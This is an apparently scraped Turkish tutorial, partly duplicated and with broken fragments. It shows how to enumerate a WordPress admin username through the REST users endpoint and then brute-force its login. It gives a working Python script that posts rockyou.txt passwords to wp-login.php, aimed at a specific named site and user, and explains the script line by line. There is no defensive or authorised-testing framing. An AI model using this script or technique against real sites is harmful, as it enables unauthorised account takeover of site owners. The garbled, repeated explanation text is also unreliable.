hedef sitemiz -> Home
Kullanıcı adını bulmak için your site kısmını kendi sitemizin adresi ile değiştiriyoruz.

name yazan kısmın karşısındaki admin kullanıcı adı oluyor burada vardhaman şimdi kod kısmına geçelim.
WP-BRUTEFORCE.py
Kodun Açıklaması:
GET,POST vs gibi istekleri gönderebilmek için requests kütüphanesini import ediyoruz.
Burda wordlist'imizi okuma modunda açıyoruz ve
Sonrasında
Fonksiyonumuzu tanımlıyoruz parametre olarak
Denencek olan password'u yazdırıyoruz.
Post sözlüğümüzü oluşturuyoruz buradaki log html içerisindeki input tag'ının

pwd html içerisindeki input tag'ının

wp-submit de aynı şekilde log in butonunun name kısmından geliyor.

Burada
Eğer

Amacımızı yeşil ile boyalı olan kısmın response içerisinde olup olmadığını kontrol etmek buna göre giriş yapıp yapmadığımızı anlıyoruz.
Kullanılışı:

https://[yoursite]/wp-json/wp/v2/users/1Kullanıcı adını bulmak için your site kısmını kendi sitemizin adresi ile değiştiriyoruz.

name yazan kısmın karşısındaki admin kullanıcı adı oluyor burada vardhaman şimdi kod kısmına geçelim.
WP-BRUTEFORCE.py
Python:
import requests
def bruteforce(username,url,passwords):
for password in passwords.readlines():
password = password.strip()
print(f"[+] {password}")
data_dictionary = {"log":username,"pwd":password,"Login":"wp-submit"}
response = requests.post(url,data=data_dictionary)
if "Error:" not in response.text:
print(f"[+] {username}")
print(f"[+] {password}")
exit()
if __name__ == '__main__':
with open("rockyou.txt","r",encoding='latin-1') as file:
bruteforce("vardhaman","https://vardhaman.org/wp-login.php",file)
Kodun Açıklaması:
import requestsGET,POST vs gibi istekleri gönderebilmek için requests kütüphanesini import ediyoruz.
with open("rockyou.txt","r",encoding='latin-1') as file:Burda wordlist'imizi okuma modunda açıyoruz ve
file değişkeni olarak tanımlıyoruz.bruteforce("vardhaman","https://vardhaman.org/wp-login.php",file)Sonrasında
bruteforce fonksiyonumuzuusername url ve file yani wordlist'imizi vererek çağırıyoruz. Şimdi fonksiyonumuzu inceleyelim.
Python:
def bruteforce(username,url,passwords):
for password in passwords.readlines():
password = password.strip()
print(f"[+] {password}")
data_dictionary = {"log":username,"pwd":password,"Login":"wp-submit"}
response = requests.post(url,data=data_dictionary)
if "Error:" not in response.text:
print(f"[+] {username}")
print(f"[+] {password}")
exit()
def bruteforce(username,url,passwords):Fonksiyonumuzu tanımlıyoruz parametre olarak
username url ve passwords alıyoruz.for password in passwords.readlines():passwords.readlines() ile passwords wordlist'imiz içerisindeki her satırı bir liste içerisine atıyoruz. Bu liste üzerinde password ile geziniyoruz.password = password.strip()password başındaki ve sonundaki boşlukları siliyoruz.print(f"[+] {password}")Denencek olan password'u yazdırıyoruz.
data_dictionary = {"log":username,"pwd":password,"Login":"wp-submit"}Post sözlüğümüzü oluşturuyoruz buradaki log html içerisindeki input tag'ının
name="log" kısmından geliyor.
pwd html içerisindeki input tag'ının
name="pwd" kısmından geliyor.
wp-submit de aynı şekilde log in butonunun name kısmından geliyor.

response = requests.post(url,data=data_dictionary)Burada
url ve data_dictionary kullanarak bir post isteği atıyoruz.
Python:
if "Error:" not in response.text:
print(f"[+] {username}")
print(f"[+] {password}")
exit()
Eğer
response.text "Error:" yazısını barındırmıyorsa giriş yaptığımız anlamına gelir bu durumda username ve password u yazdırıp exit() ile çıkış yapıyoruz.
Amacımızı yeşil ile boyalı olan kısmın response içerisinde olup olmadığını kontrol etmek buna göre giriş yapıp yapmadığımızı anlıyoruz.
Kullanılışı:




